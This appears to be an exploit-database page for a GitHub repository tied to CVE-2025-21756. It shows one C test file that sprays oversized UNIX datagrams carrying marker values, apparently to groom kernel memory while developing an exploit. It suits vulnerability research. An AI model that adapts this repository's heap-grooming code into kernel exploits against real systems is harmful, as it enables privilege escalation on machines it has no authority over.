Exploit databaseDownload repository ZIP
GH-fe45a0a486d27c36aa80e2c232873fd2
khoatran107/cve-2025-21756
Sources for CVE-2025-21756
4 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files8
khoatran107/cve-2025-21756Revision 13a3614dbba0
- ↑..Parent directory
- unix.c
- unix_many.c
- unix_many_no_other.c
- unix_no_other.c
- unix_repeat.c
- unix_repeat_close.c
- unix_repeat_truncated.c
- unix_send_only.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
test_unix/unix_repeat_close.c
C · 1,387 bytes#include <sys/socket.h>
#include <sys/un.h>
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <stdlib.h>
#define SOCKET_PATH "/tmp/unix_dgram_socket"
#define SKB_MAX_ALLOC 0x3ec0 // through debugging
int main() {
int sockfd;
struct sockaddr_un addr;
// Create a datagram UNIX socket
sockfd = socket(AF_UNIX, SOCK_DGRAM, 0);
if (sockfd == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
memset(&addr, 0, sizeof(struct sockaddr_un));
addr.sun_family = AF_UNIX;
strncpy(addr.sun_path, SOCKET_PATH, sizeof(addr.sun_path) - 1);
// Ensure the receiver exists
// Create receiver socket and bind
int recv_sock = socket(AF_UNIX, SOCK_DGRAM, 0);
unlink(SOCKET_PATH);
struct sockaddr_un recv_addr = addr;
bind(recv_sock, (struct sockaddr *)&recv_addr, sizeof(recv_addr));
// Send a datagram to the UNIX socket
char msg[SKB_MAX_ALLOC + 0x4000];
memset(msg, 'A', sizeof(msg));
for (int i = 0; i < 7; i++) {
*(long long*)(msg + SKB_MAX_ALLOC) = 0xcafebabedeadbe00 + i;
ssize_t sent = sendto(sockfd, msg, SKB_MAX_ALLOC + 0x4000, 0,
(struct sockaddr *)&addr, sizeof(addr));
if (sent == -1) {
perror("sendto");
exit(EXIT_FAILURE);
}
printf("Sent %zd bytes\n", sent);
}
// Receive it (optional)
puts("Closing the receiver socket. Press enter...");
getchar();
close(recv_sock);
close(sockfd);
unlink(SOCKET_PATH);
return 0;
}